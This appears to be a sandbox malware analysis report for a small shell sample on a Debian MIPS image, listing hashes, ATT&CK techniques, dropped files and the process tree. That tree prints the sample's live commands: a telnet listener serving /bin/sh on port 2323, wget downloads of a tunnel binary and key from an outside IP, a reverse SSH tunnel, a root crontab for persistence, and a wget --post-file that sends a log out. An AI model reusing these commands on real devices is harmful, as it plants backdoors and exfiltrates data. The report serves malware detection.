10f008cccc17605cfd1b61cd02da7c70dbdbf8b9fcc7496f1925d82a67bb4022

Analysis

max time kernel
14s
max time network
16s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
18/08/2026, 12:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
x
Size 3KB
Sample260818-plhhcsttdv
SHA256 10f008cccc17605cfd1b61cd02da7c70dbdbf8b9fcc7496f1925d82a67bb4022
MD5 82d71e57d4ab5718bf86e94a3eeb6c44
SHA1 606dc101ab4646967cf42a10a6c0cb65383d705a
SHA512 01139d2b0493fc602004398cc179ad6e99a0893633247809db2ba433a40100629e3547aac219885cf1f79493a3e9a44d4ef76a951ce0161ca3e94d8704fab262
TLSH
T1657102E2896A15F1694DCE3FD12BA0FA19E7001B242939A731AD3674377C1ACD20CB27
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
757	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/dbclient	791	x

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/root	x

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/10/stat	killall
File opened for reading	/proc/74/stat	killall
File opened for reading	/proc/14/cmdline	pidof
File opened for reading	/proc/679/cmdline	pidof
File opened for reading	/proc/18/stat	killall
File opened for reading	/proc/701/cmdline	killall
File opened for reading	/proc/78/stat	pidof
File opened for reading	/proc/243/stat	pidof
File opened for reading	/proc/819/cmdline	pidof
File opened for reading	/proc/124/cmdline	killall
File opened for reading	/proc/7/cmdline	pidof
File opened for reading	/proc/331/stat	pidof
File opened for reading	/proc/716/stat	pidof
File opened for reading	/proc/7/stat	killall
File opened for reading	/proc/75/stat	killall
File opened for reading	/proc/230/stat	killall
File opened for reading	/proc/5/stat	killall
File opened for reading	/proc/123/stat	killall
File opened for reading	/proc/18/cmdline	pidof
File opened for reading	/proc/20/stat	killall
File opened for reading	/proc/709/stat	killall
File opened for reading	/proc/432/stat	killall
File opened for reading	/proc/335/stat	pidof
File opened for reading	/proc/679/stat	pidof
File opened for reading	/proc/16/stat	killall
File opened for reading	/proc/24/stat	killall
File opened for reading	/proc/710/stat	killall
File opened for reading	/proc/69/stat	killall
File opened for reading	/proc/71/stat	killall
File opened for reading	/proc/712/stat	killall
File opened for reading	/proc/74/stat	pidof
File opened for reading	/proc/123/stat	pidof
File opened for reading	/proc/8/stat	killall
File opened for reading	/proc/676/stat	killall
File opened for reading	/proc/20/cmdline	pidof
File opened for reading	/proc/23/cmdline	pidof
File opened for reading	/proc/78/stat	killall
File opened for reading	/proc/20/stat	killall
File opened for reading	/proc/3/cmdline	pidof
File opened for reading	/proc/4/stat	pidof
File opened for reading	/proc/7/stat	pidof
File opened for reading	/proc/13/stat	pidof
File opened for reading	/proc/804/cmdline	pidof
File opened for reading	/proc/331/stat	killall
File opened for reading	/proc/5/stat	pidof
File opened for reading	/proc/75/stat	pidof
File opened for reading	/proc/703/stat	killall
File opened for reading	/proc/82/stat	killall
File opened for reading	/proc/335/stat	killall
File opened for reading	/proc/12/stat	pidof
File opened for reading	/proc/82/stat	killall
File opened for reading	/proc/72/stat	killall
File opened for reading	/proc/709/stat	killall
File opened for reading	/proc/8/stat	pidof
File opened for reading	/proc/21/stat	killall
File opened for reading	/proc/16/stat	killall
File opened for reading	/proc/331/stat	killall
File opened for reading	/proc/69/cmdline	pidof
File opened for reading	/proc/381/cmdline	pidof
File opened for reading	/proc/1/stat	killall
File opened for reading	/proc/11/stat	killall
File opened for reading	/proc/676/stat	killall
File opened for reading	/proc/10/stat	killall
File opened for reading	/proc/151/cmdline	killall

Writes file to tmp directory 14 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/persist.log	x
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/dbclient	wget
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/tunnel_key	wget
File opened for modification	/tmp/dbclient.log	x

/tmp/x
/tmp/x
1⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
PID:712
- /bin/date
  date
  2⤵
  PID:714
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:718
- /bin/mkdir
  mkdir -p /dev/pts
  2⤵
  PID:722
- /bin/mount
  mount -t devpts devpts /dev/pts
  2⤵
  PID:724
- /usr/bin/killall
  killall telnetd utelnetd
  2⤵
  - Reads runtime system information
  PID:727
- /bin/sleep
  sleep 1
  2⤵
  PID:730
- /bin/busybox
  busybox telnetd -l /bin/sh -p 2323
  2⤵
  PID:745
- /usr/sbin/utelnetd
  /usr/sbin/utelnetd -d -l /bin/sh -p 2323
  2⤵
  PID:746
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:748
- /bin/sleep
  sleep 1
  2⤵
  PID:749
- /bin/grep
  grep -q :2323
  2⤵
  PID:751
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:753
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:755
- /usr/bin/wget
  wget -O /tmp/dbclient http://209.38.118.65:8080/d824ef7079bc/ex7000/dbclient
  2⤵
  - Writes file to tmp directory
  PID:756
- /bin/chmod
  chmod +x /tmp/dbclient
  2⤵
  - File and Directory Permissions Modification
  PID:757
- /bin/ls
  ls -l /tmp/dbclient
  2⤵
  PID:759
- /usr/bin/awk
  awk "{print \$5}"
  2⤵
  PID:760
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:762
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:764
- /usr/bin/wget
  wget -O /tmp/tunnel_key http://209.38.118.65:8080/d824ef7079bc/ex7000/tunnel_key
  2⤵
  - Writes file to tmp directory
  PID:765
- /bin/chmod
  chmod 600 /tmp/tunnel_key
  2⤵
  PID:766
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:768
- /usr/bin/killall
  killall dbclient
  2⤵
  - Reads runtime system information
  PID:769
- /bin/sleep
  sleep 2
  2⤵
  PID:770
- /bin/sleep
  sleep 3
  2⤵
  PID:792
- /tmp/dbclient
  /tmp/dbclient -N -y -y -R 2234:127.0.0.1:2323 -i /tmp/tunnel_key -p 22 -K 30 "[email protected]"
  2⤵
  PID:791
- /bin/pidof
  pidof dbclient
  2⤵
  - Reads runtime system information
  PID:819
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:821
- /bin/mkdir
  mkdir -p /var/spool/cron/crontabs
  2⤵
  PID:822
- /bin/cat
  cat
  2⤵
  PID:823
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:825
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:827

/usr/bin/wget
wget -q "--post-file=/tmp/persist.log" http://209.38.118.65:9999/
1⤵
PID:828

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

dbclient

Path /tmp/dbclient
Size 829KB
SHA256 0f393655fcbc439444772e9cb470da6ef3e7052b2fcc6dbf48700f5c1644365f
MD5 9e0ede2970d1ddab8a03f840f6ec7c53
SHA1 fc16b8b4efbb4af27aa405e522b1fa0b3d8e8f96
SHA512 6c20ee1093ceadcff0e64fd312c3db2f5e36742d8959132dabcc86295952b45653e080b8fb3f5832593e236ef4b503c0aa1ce9474fed555d4df17f723b4cbfc0
SSDEEP 12288:2DMIEzPLS4zAzLGbfonJl5rcV1/3HXdA519OOvqrctgp1h9Y:9vWEgGbwnSV1PNA/9ONrL
TLSH
T16D052955F880DFA1C6C029BAF75D86AC33134B79D3EB710689255B343BE786B0E3A641
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

persist.log

Path /tmp/persist.log
Size 60B
SHA256 28f406a091ae43d35dd922365874160a26b03a3a4743f360e79607fa1a076a1b
MD5 a9071301f8d6774bc7e5fb5b3d4831f5
SHA1 9d7ca0d76e5fe9017f6611e4410f9e600cc20591
SHA512 6f0daa657ee257a84cbe46bd4a322504ecfad58e6f91a0e701e3a00c2ef23b5bcbb9a298a6e27cc8bdb42da00cac7ac9c9c6b66613e198f69bd0d52be2e145bf
TLSH
T131A02220080000380BCA030ECF022800220C00083302C0A0CA3880080BC00CE2A0003C
MD5 SHA1 SHA512 TLSH

Submit Download

persist.log

Path /tmp/persist.log
Size 97B
SHA256 da689999c28dd5bcc6a9497c7f8d03abea77b1276e3815b7bf39dc3210b67007
MD5 e4bd0fca887af3ad4836261f4a22b260
SHA1 3b78ba37fdcb1340618791f2f0714fcec7e196c2
SHA512 4f8ad833c9a8cd6c2484f9be727b259d95515ed7d5e7050b4c4ad863a7b8ffd196a9f9ba0dd5da26f37d7488e0c18ad0cfd404de7ef809490b153b6a64c9973c
TLSH
T185B01210081160EC8BB6134F9E122901571D12142A0DD098DD79830416D54CD5E8552D
MD5 SHA1 SHA512 TLSH

Submit Download

persist.log

Path /tmp/persist.log
Size 135B
SHA256 d03c55c09ac1b4febe38ce699b3a6b5188060c4ed23327450eb8dea2819b53fa
MD5 a45aaf5cc9238f41788c71965d3647f1
SHA1 7f5e5ddc63f45c6863500230b1d3140523220d39
SHA512 cf76630185c177d3428998acea032076a8ed44003e43d5beb3c1b762033396c0155723a940c039e6938d3b93e42fc46962d4730995402faf1d33e094e71a24fa
TLSH
T1BAC02B840C1150FDC7F5134B5F051944431D43102908C06CCDB9834006D94C94D84059
MD5 SHA1 SHA512 TLSH

Submit Download

persist.log

Path /tmp/persist.log
Size 163B
SHA256 22e4bf2df739f416ed0811949ebbce488c187385c8d6b2c7ec91a21a2bd937b7
MD5 224fd3ca5cd76a666db0baca9e549bde
SHA1 9a952df29c3fd61c6b75eb5dfcc93302b88145b2
SHA512 f04035857d0a609ee4f943a5b870ee6f2ef2c44a7aec40faa15d3a273b8ea551b554abb68592d2fbf9c4b3bf0204aedfb95f13ab947480d64a66a086a817ea55
TLSH
T1BCC08055081150FD96F513475E171584576953102605E05C9D75474405A55C5CD54057
MD5 SHA1 SHA512 TLSH

Submit Download

persist.log

Path /tmp/persist.log
Size 2KB
SHA256 e9a682686a8918bf5692b94c0dfb9d596992f0a8f0fe54bee6ce0bb402c31585
MD5 cb5111b7f83e339e0300e214ef4d3538
SHA1 384c0eb36b52243609c37066e15f1814d06f9b23
SHA512 4af7cf6f2ff36ae2ab0f287c2de9c5d46616c8ed6b26d81fb48c69a352c081c76177e63f6369573a80f6e8f8a989f2321790914786437dc4ea5f14f568aa4231
TLSH
T1E54115913E263DE85F9145759D3AC7705FA96C0227CD083DB21E105A0FD25D07BFAD06
MD5 SHA1 SHA512 TLSH

Submit Download

tunnel_key

Path /tmp/tunnel_key
Size 804B
SHA256 c46038426694798a71ec38d99a59473a478bd99ebcaedfaa1151aa39cc1f1226
MD5 b9e6970d3772f11502f0a70002c83ad6
SHA1 0c991cdfc4150970966834f2dc2640b73d29f121
SHA512 5a0eaec9ba105248b806b7339acb0eac5f37c85f37ae23e37b2911b8ead7815cbb65fae69dff85d3bd89d5aaae6c8b8e7ed1dc6c6a35fb632d845bc47ba9b09d
TLSH
T1F80186D9AA14C821EE193D33077107A12EF8C3085209FE0B7060EF165574070DB4C6D1
MD5 SHA1 SHA512 TLSH

Submit Download

root

Path /var/spool/cron/crontabs/root
Size 392B
SHA256 34b2b8ff190e7c9c0c9ab33c69ae3326f8461567876b34bbad552b48813972ce
MD5 063933a51e620e947097be6414de0209
SHA1 80b5bc33679ad19ed2246bb681401d6224ce3d10
SHA512 8509d63ec8d716a5bde05a4b52f9ec5810b3c10ecf024c249ee14da00f32be2f13aeee6407e420b300451e6cad5791f6b9757e1f5f0a92c569129da86fa42d23
TLSH
T1C1E068F1832040F0A608C937E02E9CF2D8AA19350C1B35902CEF6764610C2C6F79DAB7
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads